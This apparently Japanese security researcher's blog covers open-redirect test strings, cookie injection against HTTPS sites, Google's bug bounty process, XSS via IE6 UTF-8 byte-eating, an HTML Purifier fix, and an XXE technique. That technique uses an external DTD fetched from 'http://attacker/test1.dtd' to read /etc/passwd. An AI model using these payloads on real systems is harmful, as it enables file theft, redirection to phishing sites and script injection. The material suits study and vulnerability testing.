最近買った本

Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'

Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'

sla.ckers.orgのXSS板とかでよく見る人たちが著者に名前を連ねています。

行きの電車の中で読んでますが、まだ40ページくらい。先は長いです。

徳丸さんの本です。先ほどアマゾンでぽちりました。

Web開発者向けのセキュリティ本としてはこれ、という本になるんでしょうね。

目次を見ると、4章が盛りだくさんな感じです。

オープンリダイレクト検査:Locationヘッダ編

オープンリダイレクタを脆弱性とみなすべきかは議論が分かれるところです。Google等の一部のサイトは、自サイトのオープンリダイレクタを脆弱性としてはみていません。一方で、脆弱性検査の現場では、見つかれば脆弱性として報告することが多いと思います。

その辺の議論はおいておいて、オープンリダイレクタの検査は、ブラウザの特性もからんで意外とバリエーションが多くて面白いので、本日の日記で取り上げてみたいと思います。

大まかにいうと、リダイレクトは、302応答のLocationヘッダ、Refresh(HTTPヘッダ、METAタグ)、JavaScriptによるものがありますが、本日は302応答のLocationヘッダのリダイレクタについて取り上げます。

パターン1:サブドメイン部分に値が入る場合

以下のように、サブドメインの箇所が動的なケースです。

Location: http://{$u}.hatena.ne.jp/hoge

このリダイレクタ("redir.cgi" とします)を悪用して、"example.com" ドメインにリダイレクトさせることを目指します。なお、$uの正常な値は "www" で、LF(%0A U+000A)は使えないとします。

まずは、一番基本的な検査文字列3つです。

■1A: redir.cgi?u=example.com/www
 → Location: http://example.com/www.hatena.ne.jp/hoge

■1B: redir.cgi?u=example.com?www
 → Location: http://example.com?www.hatena.ne.jp/hoge

■1C: redir.cgi?u=example.com%23www  (%23 => #)
 → Location: http://example.com#www.hatena.ne.jp/hoge

上の1A、1B、1Cでは、URL内で区切りとして使用される "/", "?", "#" を使っています。

アプリがブラックリストでパラメータuの値チェックをしているとしても、上の3つの記号については対策されていることは割とあります。その場合は、以下の1D〜1Fを試します。

■1D: redir.cgi?u=example.com;www
 → Location: http://example.com;www.hatena.ne.jp/hoge

■1E: redir.cgi?u=example.com:80www
 → Location: http://example.com:80www.hatena.ne.jp/hoge

■1F: redir.cgi?u=example.com\www
 → Location: http://example.com\www.hatena.ne.jp/hoge

1D, 1Eは ";" と ":" を使用しています。いずれも、FirefoxOperaでホスト名の終端として認識され、"example.com" にリダイレクトします。":" を使う場合は、その直後に妥当なポート番号を付けて ":80" のような値にしなければリダイレクトしません。

1Fは "/" の代わりに "\" を使っています。IEChromeで動作します。

次からは制御文字を使う検査文字列です。

■1G: redir.cgi?u=example.com%00www
 → ① Location: http://example.com
 → ② Location: http://example.com[0x00]www.hatena.ne.jp/hoge

1GはNULL(%00 U+0000)を使っています。応答のLocationヘッダを2パターン書いていますが、Apache上のCGIPHPで試してみると、NULL以降が消えてなくなった①のLocationヘッダが返されます。その場合は、当然 "example.com" にリダイレクトします。

仮に、②のような応答が返っても、たいていのブラウザはHTTPヘッダのNULL以降を無視するので、"example.com" にリダイレクトします(Safariだけは違う)。

もう一つ制御文字を使う検査文字列です。

■1H: redir.cgi?u=example.com%0Dwww
 → Location: http://example.com[0x0D]www.hatena.ne.jp/hoge

IEOperaChromeでは、CR(%0D U+000D)以降が無視されて、"example.com" にリダイレクトします。正確に言うと、これらのブラウザはCRをヘッダ行の区切りとして認識しています。つまり、この検査文字列は、HTTP Header Injectionを利用しています。

パターン2:スラッシュが先頭に付けられる場合

余り見ませんが、こんなケースです。

Location: /{$u}

$uの正常な値は "foo/bar.cgi" で、LF(%0A U+000A)は使えないとします。

こんなケースでの基本的な検査文字列は以下です。

■2A: redir.cgi?u=/example.com/foo/bar.cgi
 → Location: //example.com/foo/bar.cgi

URLの先頭の、"http:" や "https:" は省略可能なので、2Aは "example.com" にリダイレクトします。

たいていのアプリは上の2Aで詰むのですが、先頭に "/" が使えない場合は以下のような検査文字列があります。

■2B: redir.cgi?u=\example.com/foo/bar.cgi
 → Location: /\example.com/foo/bar.cgi

■2C: redir.cgi?u=%09/example.com/foo/bar.cgi
 → Location: /[0x09]/example.com/foo/bar.cgi

2Bでは、"/" の代わりに "\" を使っています。IEChromeで動作します。2Cはタブ(%09 U+0009)を使っています。IEChromeは、URLに含まれるタブ等の文字を無視するため、2Aと同様に動作します。

パターン3:Locationヘッダの先頭に値が入る場合

こんなケースです。一番良く見るパターンです。

Location: {$u}

$uの正常な値は "http://www.hatena.ne.jp/foo/" で、LF(%0A U+000A)は使えないとします。

外部にリダイレクトしないように、パラメータuの値を何らかの方法でチェックしていても、それが不完全ならば下の3A、3Bが通ってしまうかもしれません(このような値が通ることは少なくありません)。

■3A: redir.cgi?u=http://www.hatena.ne.jp.example.com/foo/
 → Location: http://www.hatena.ne.jp.example.com/foo/

■3B: redir.cgi?u=http://example.com/http://www.hatena.ne.jp/foo/
 → Location: http://example.com/http://www.hatena.ne.jp/foo/

元のURL(http://www.hatena.ne.jp/)のサブドメイン(www)の箇所のチェックが不完全ならば、下の3Cが通ってしまうかもしれません。

■3C: redir.cgi?u=http://example.com?.hatena.ne.jp/foo/
 → Location: http://example.com?.hatena.ne.jp/foo/

「パターン1:サブドメイン部分に値が入る場合」で見たように、上の3Cの "?" の箇所を、";", "#", ":80", "\", NULL, CR などに変えるバリエーションがあります。

先頭が "/" で始まる値が許容される場合は、下の3Dのような検査パターンが通るかもしれません。

■3D: redir.cgi?u=//example.com/foo/
 → Location: //example.com/foo/

「パターン2:スラッシュが先頭に付けられる場合」でみたように、上の3Dの "/" を "\" にするなどのバリエーションがあります。

テストしたブラウザ

IE8、Firefox3.6、Opera10、Safari5、Chrome9(いずれもWindows Vista版)。

他人のCookieを操作する

脆弱性検査をしていてしばしば出くわすのは、他人のCookieの値を操作できるとXSSやセッション固定等の攻撃が成功するようなWebアプリケーションです。

このようなアプリがあると、業界的には「Cookie Monsterという問題がありまして、、、でも、、、基本的に現状のブラウザではリスクは低いです」みたいな話がされることが多いのではないかと思います。

本日の日記では、それ(Cookie Monster)以外にも状況によっては考慮すべきことがある、という話をしたいと思います(過去の日記でも少し書いた話ですが、もう少しちゃんと書いておこうと思います)。

通信経路上に攻撃者がいる

被害者のブラウザとサーバの通信経路上に、アクティブな攻撃者がいると想定しましょう。

そのような状況では、攻撃者は正規のサーバになりかわってブラウザと通信をしたり、ブラウザと正規のサーバで交わされる通信に介入することができます。もちろんそれが可能なのは、通信がHTTP(SSLではないということ)の場合に限られます。

言うまでもなく、そのような状況では、攻撃者は対象サイトのCookieを被害者のブラウザにセットすることができます。

HTTPを使うサイトの場合

通信経路上に攻撃者がいる状況では、そもそもCookieをブラウザにセットできるという以前に、攻撃者はHTTPのリクエスト・レスポンスを好きに盗聴・改竄できます。

WebサイトがHTTPを使用しており、通信経路上に攻撃者がいるリスクを考慮しないと決めている場合には、通信経路上の攻撃者によりCookieがセットされるリスクもまた考慮する必要はありません。

問題は、WebサイトがHTTPではなくHTTPSを使用している場合です。

HTTPSを使うサイトの場合

世の中には、通信経路に攻撃者がいてもセキュアで無ければならないサイトもあります。そのようなサイトは通常HTTPSを使用します。

HTTPSのサイトでは、以下のような攻撃のリスクを考慮する必要があります。

  1. 被害者をHTTPで対象サイトにアクセスさせる
    攻撃者が通信経路上にいる場合、これは難しいことではありません。攻撃者は偽のSet-Cookieを含む応答を被害者のブラウザに返し、そのままHTTPSのページにリダイレクトさせます。
  2. 被害者はHTTPSで対象サイトにアクセスする
    このリクエストでは1でセットされたCookieがサーバに送られてしまいます。

3点ほど補足します。

1点目は、上の(1)のリクエストはHTTPであり、セキュリティ警告のポップアップ等を出すことなく被害者のレスポンスを偽造しCookieを汚染することができるということです。

2点目は、対象サイトがHTTPSだけしか使っておらず、したがってHTTPのポートを開けていないとしても、(1)の攻撃は可能だということです。途中にいる攻撃者はHTTPが開いているかのごとくブラウザに応答することができるからです。

3点目は、(1)のCookieはHTTPでセットされたものですが、(2)のHTTPSのリクエストでサーバに送られてしまうということです。Cookieの仕組み上そうなってしまいますし、HTTPのCookieHTTPSCookieは区別することもできません。

CookieXSSする脆弱性がWebアプリにあるならば、通信経路上の攻撃者が上の(1)でCookieに植えつけた攻撃コードが(2)の応答で実行されます。ここで重要なのは、(2)がHTTPSであり、HTTPSのコンテキストでJavaScriptが実行されてしまうということです。

つまり通信経路上の攻撃者が、セキュア属性付きのCookieを盗んだり、HTTPSのページの内容を盗んだり改竄したりできるということになります(もはやCross-Site Scriptingとはいえない攻撃ではありますが、リスクとして考慮すべき攻撃です)。

XSSではなくセッション固定の脆弱性がWebアプリにあるならば、通信経路上の攻撃者がHTTPSで保護されたセッションを固定化し、なりすまし等ができるということになります。

まとめ

まとめると、通信経路に攻撃者がいてもセキュアであるべきサイト(HTTPSのサイト)については、「他人のCookieは操作できない」という前提でセキュリティを考えることはできないということです。

理由は(「Cookie Monster」等とは関係なく)、HTTPの通信に介入できる攻撃者はCookieを操作できるからです。

GoogleのReward Program

少し前の話ですが、Googleが自身のWebサイトの脆弱性発見者に対して、報酬(現金 500 USD以上)を支払うプログラムをはじめています。

Google Online Security Blog: Rewarding web application security research

過去にも、脆弱性の発見者に報酬を支払うプログラムはありましたが、Webブラウザ等のソフトウェアの脆弱性が対象でした(参考)。

今回のプログラムでは、Webアプリの脆弱性が対象だというところが特色です。しかも、実際に運用されている本番のGoogleサイトの脆弱性が対象です。その脆弱性の発見者に報奨金を払うということは、(一定の制約は設けていますが)基本的に自由に本番サイトの検査をしてよいといっているわけです。

実際にやってみる

Webアプリの診断をやっているものにとっては、これ以上のお小遣い稼ぎはない!と思って私も参加してみました。20〜30ページくらい見れば、XSSくらいは簡単に見つかるだろうと思っていたのもあります。

ですが、始めてすぐに、さすがにGoogleというべきか、trivialな脆弱性はまず見つからないだろうということに気が付きました。かなり堅い作りがされているということです。しかも、自動検査ツールは使えないし(使ってはならないと決められている)、JavaScriptは殆どminifyされているし・・・ということで、脆弱性を探すのはかなり骨がおれる作業になりました。

結局、数日かけてなんとか2件脆弱性を発見して報告しました。発見した脆弱性の内容は修正完了後に公開してよいことになっています。私が発見した2件は、まだ一部直っていないものがあるようです。修正されたら公開しようと思います(Googleも公開することを推奨しています)。

報告〜お金を受け取るまでの流れ

Reward Programに興味のある方もいると思いますので、報告〜お金を受け取るまで書いてみます。

まずはレポートです。発見した脆弱性の内容を英語で書いて、メールで報告しました。報告先のメールアドレスはこちらに書かれています。

今回は報告した2件とも、報奨対象の脆弱性と認められました(ものによっては対象外とみなされることもあるようです)。

脆弱性を報告してから1週間もたたないうちに、

Congratulations! The panel has decided to award you $1000 for the vulnerability.

というようなメールが来ました。いかにも怪しい書き出しのメールですが本物です。今回は、報告した2件のうち1件(XSS)は1,000 USD、もう1件(ロジック系)は500 USDということでした。金額は、脆弱性の危険度や"賢さ度合い"によって決まるとのこと。

あとは報酬の受け取りです。Googleから手順を書いたメールが来るので、その通りにすればよいのですが、少々手間です。

まずは、Googleのサイトでsupplier登録します。Googleに対して物品やサービスを納品するベンダ(会社や個人事業主)として登録することで、Googleから支払いを受けられるようになるわけです。ここでは氏名や銀行口座等を登録します。受け取るお金は米ドルですが、銀行に問い合わせたところ、通常の円建ての普通口座でも問題なく受け取れる(日本円になって入金される)ということだったので、私は日本の銀行の普通口座を登録しました。

次にW8BENフォームの提出を求められました。W-8BENフォームの記入方法(書き方)を参考にしてPDFのフォームに記入してプリントアウトし、手書きで署名したものをスキャナーで読み込んで、メール添付で送りました。

このW8BENを提出すると、私のように米国外に居住している人間は、米国で所得税源泉徴収されなくなります。しかし、日本での納税の義務はあります(私のようなサラリーマンなら、給与以外の所得は年間20万円まで非課税だと思いますが、各々確認ください)。

最後に、脆弱性の報告者として自身の名前を公表して欲しい場合はその旨を連絡します。名前はこのページに載りました(私以外にも日本人ぽい名前がのってます)。

なお、お金の方はW8BENを送ってから3週間ほどで「振り込んだよ」というメールが来ました。確認したところ口座に入金されていました。

実際にやる場合は

以下のページに色々と注意事項などが書いてありますので、まずは一読を。

Google Online Security Blog: Rewarding web application security research

Program Rules – Application Security – Google

属性値のXXE攻撃

以前、属性値でのXXE(Xml eXternal Entity)攻撃を試したのですが、やり方がよく判りませんでした。

最近また試してみて、属性値での攻撃方法が判ったので日記に書いてみます。

Servletプログラム

以下のようなJava Servletプログラムをサーバに置きます。

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.w3c.dom.*;
import org.apache.xerces.parsers.*;
import org.xml.sax.*;

public class AttrTest1 extends HttpServlet {
  public void service(HttpServletRequest request,
                      HttpServletResponse response)
    throws ServletException, IOException {

    try {
      // リクエストBODYをParseする
      DOMParser parser = new DOMParser();
      parser.parse(new InputSource(request.getInputStream()));

      Document doc = parser.getDocument();
      // data1要素を取り出す
      Element data1 = (Element)doc.getElementsByTagName("data1").item(0);
      // data1要素のattr1属性の値を取り出す
      String attr1 = data1.getAttribute("attr1");

      // attr1属性値を出力する
      response.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = response.getWriter();
      out.println("attr1 value: " + attr1);
    }
    catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

プログラム内のコメントの通り、リクエストのBODYをParseして、data1要素のattr1属性値を取り出して、その値をレスポンスします。

このプログラムは、以下のような入力・出力処理を行います。

【入力】<data1 attr1="111&gt;222"></data1>

【出力】attr1 value: 111>222
ダメな攻撃方法

すぐに思いつくのは、下のようなXMLを食わせる攻撃です。

<?xml version="1.0"?>
<!DOCTYPE data1 [
<!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<data1 attr1="&pass;"></data1>

しかし、これだとParseエラーとなってうまくいきません。どうも、属性値内では外部実体参照は使えないようです。

XMLの仕様書の「3.1 Start-Tags, End-Tags, and Empty-Element Tags」にも以下のような記述がありました。

Well-formedness constraint: No External Entity References

Attribute values MUST NOT contain direct or indirect entity references to external entities.

Extensible Markup Language (XML) 1.0 (Fifth Edition)]
属性のデフォルト値を使う

じゃあどうすればいいんだという話です。

以前の日記(XMLをParseするアプリのセキュリティ(補足編)- T.Teradaの日記)で使った手法と似ていますが、パラメータ実体を使って属性のデフォルト値を細工するとうまくいきます。

まず、以下のような外部DTD(test1.dtd)を、攻撃者のサーバ上に用意します。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ATTLIST data1 attr1 CDATA '%p1;'>">
%p2;

1行目でパラメータ実体(%p1;)を定義します。「%p1;」は、攻撃対象サーバ上の/etc/passwdファイルの中身を参照します。次の行では、data1要素のattr1属性のデフォルト値を「%p1;」(つまり/etc/passwdの中身)だと定義するためのパラメータ実体(%p2;)を用意します。最後の行で「%p2;」を展開して、「%p2;」の中身をDTDとして評価させます。

攻撃対象のServletプログラムには、下のXMLを食わせます。

<?xml version="1.0"?>
<!DOCTYPE data1 SYSTEM "http://attacker/test1.dtd" >
<data1 />

外部DTD(test1.dtd)により、data1要素のattr1属性が指定されない場合のデフォルト値は/etc/passwdファイルの中身になるため、属性値を省略したXMLを食わせると攻撃対象サーバ上の/etc/passwdの中身が返ってきます*1

#ただまあこの方法が使えることは滅多にないと思いますが…

*1:返ってくるとき、ファイルの中身に含まれる改行文字はスペースに正規化された状態になっています。

JavaScriptの文字列リテラルでXSS

たまに以下のようにJavaScriptの文字列リテラルに値が入るアプリを見ることがあります。

<script>
var foo="●";
...
</script>

値は「●」の箇所にHTMLエスケープされて出力されます(下の方の例も同じ)。

こんなケースでどうXSSするか?という話です。

簡単にXSSできるケース

以下のパターンだとXSSするのは簡単です。

<script>
var foo="●"; var bar="●"; ...
</script>

?foo=\&bar=-alert(123)//のような値を与えるだけです。

難しいケース

次はこんなパターンを考えます。

<script>
var foo="●";
var bar="●";
...
</script>

こうなると難易度はぐっと上がります。というよりも、ほとんどの場合はXSSできません。

しかし、状況次第ではXSSできることもあります。

攻撃方法

HTMLの文字コードにはUTF-8が指定されているものの、UTF-8として不正なバイトシーケンスがHTMLに出力できる状況であるとします。

そんな状況ならば、?foo=%F0&bar=-alert(123)//のような値を与えることでXSSできます。

%F0(0xF0)はUTF-8の4バイト文字の先頭バイトです。IE6だと%F0の後ろの3バイトを食いつぶしてくれます。JavaScriptコード上で、[0xF0]の後ろに「"」(0x22)、「;」(0x3B)、LF(0x0A)の3バイトがありますが、それらがうまいこと食いつぶされるということになります。

HTMLの改行文字がLFではなくCR LFならば、後ろの4バイトを食いつぶすために、UTF-8の「5バイト文字」を使う必要があります。厳密にいうと「5バイト文字」というのは規格上存在しませんが、IE6には存在するようで、fooに「%F8」を入れれば後ろの4バイトが食いつぶされてうまくXSSできます。

IE6+UTF-8での"食いつぶし"

余談ですがIE6のUTF-8処理はかなりユニークです。

ここでは「©」(U+00A9)という文字をとりあげて説明します。

この文字は、UTF-8エンコードすると[0xC2][0xA9]というバイトになります。これを2進数(ビット)であらわすと、以下のようになります。

0xC2     0xA9
11000010 10101001

UTF-8では2バイト目以降の先頭2ビット(上の赤字部分)は「10」で固定です。固定なので、コードポイントを示すデータではなく、「2バイト目以降である」ことを示す意味しか持っていません。とらえようによってはどうでもいい部分ということです。

IE6のUTF-8デコーダは、この2ビットを無視してデコードします。これを利用すると、ある文字を複数のバイト列で表現することができます。

11000010 00101001 ←0xC2 0x29
11000010 01101001 ←0xC2 0x69
11000010 10101001 ←0xC2 0xA9(ただしいU+00A9)
11000010 11101001 ←0xC2 0xE9

IE6は、上の4つのバイト表現をすべて「©」(U+00A9)と解釈してしまいます。

このようにIE6のデコーダはかなりルーズにできています。それもあって、直後の1バイトが食いつぶされるだけでなく、先の例のように3バイト(もしくはそれ以上)が食いつぶされるような現象が発生します。

その他の方法

UTF-8以外ではどうかというと、(IE6・IE7では)EUC-JPの場合にXSSを成功させることができます。

しかも、UTF-8では「foo」「bar」の2つの変数を制御できなければ攻撃は成功しませんが、EUC-JPでは1つの変数に任意のバイトを入れられるだけで攻撃可能です。出力される箇所がSCRIPTタグの中でなくてもかまいません。

詳細はあえて割愛しますが、EUC-JPのデコーダもかなりおかしなことになっています。IE8ではかなり改善されていますが、それでもまだ中途半端なところがあります。

HTML PurifierのSecurity Fix

HTML Purifierの4.1.1がリリースされました。今回のリリースには1件のSecurity Fixが含まれています。今日はその内容について少し書きます。

IECSSのurl()の扱い

以下のようなstyle属性があったとき、ブラウザはどのように解釈するでしょうか?

<span style="background: url('http://host/aaa\'\);color:red;')">111</span>

FirefoxOperaSafariでは、「http://host/aaa');color:red;」というURIをもつbackgroundプロパティと解釈します。したがってcolorプロパティが有効になることはありません。これはCSSの仕様から見ても至極妥当な挙動です。

ところがIEだけが違う解釈をします。IEで上記のHTMLを表示させると、backgroundプロパティのURI値は「http://host/aaa\'\」と解釈されます。そして、その後ろのcolorプロパティが有効となり「111」という文字は赤字で表示されます。

このように、IEはurl()内の文字列リテラルにおいて「\」によるエスケープを解釈しません。HTML Purifierの4.1.1未満にあった脆弱性は、IEのこのような特異な解釈(バグ)を適切にハンドリングできないというものでした。

font-familyプロパティ

font-familyプロパティでも「'」または「"」で括ったリテラルが使用可能です。

こちらはどうなのか以下のHTMLで試してみます。

<span id="s1" style="font-family: 'aaa\';color:red;'">111</span>

<script>
alert(document.getElementById('s1').style.fontFamily);
</script>

このHTMLをIEで表示すると、他のブラウザと同じく「'aaa';color;red;'」がalertされます。つまり、font-familyについていえば、IEも「\」によるエスケープ構文をサポートしているということになります。

ならばurl()でも「\」エスケープをサポートすればよさそうなものですが、上で説明したようにそうはなっていません。ひょっとしたら、url()では「C:\terada\...」のようなパスが使われる可能性を考慮して、「\」エスケープを解釈しないのかも…と推測していますが、真相はわかりません。

とられた対策

HTML Purifier 4.1.1では以下の対策がとられました。

Rewrite CSS url() and font-family output logic.

The new logic is as follows:

  • Given a URL to insert into url(), check that it is properly URL encoded (in particular, a doublequote and backslash never occurs within it) and then place it as url("http://example.com").
  • Given a font name, if it is strictly alphanumeric, it is safe to omit quotes. Otherwise, wrap in double quotes and replace '"' with '\22 ' (note trailing space) and '\' with '\5C ' (ditto).

Public Git Hosting - htmlpurifier.git/commit

実はこの対策は私が提案したものがベースになっていたりします(Release Noteにcreditしてくれました。脆弱性自体はMario Heiderich氏が報告したようです)。

IEの挙動が変わらない限り、このようなちょっと面倒な対処をせざるをえないと思います。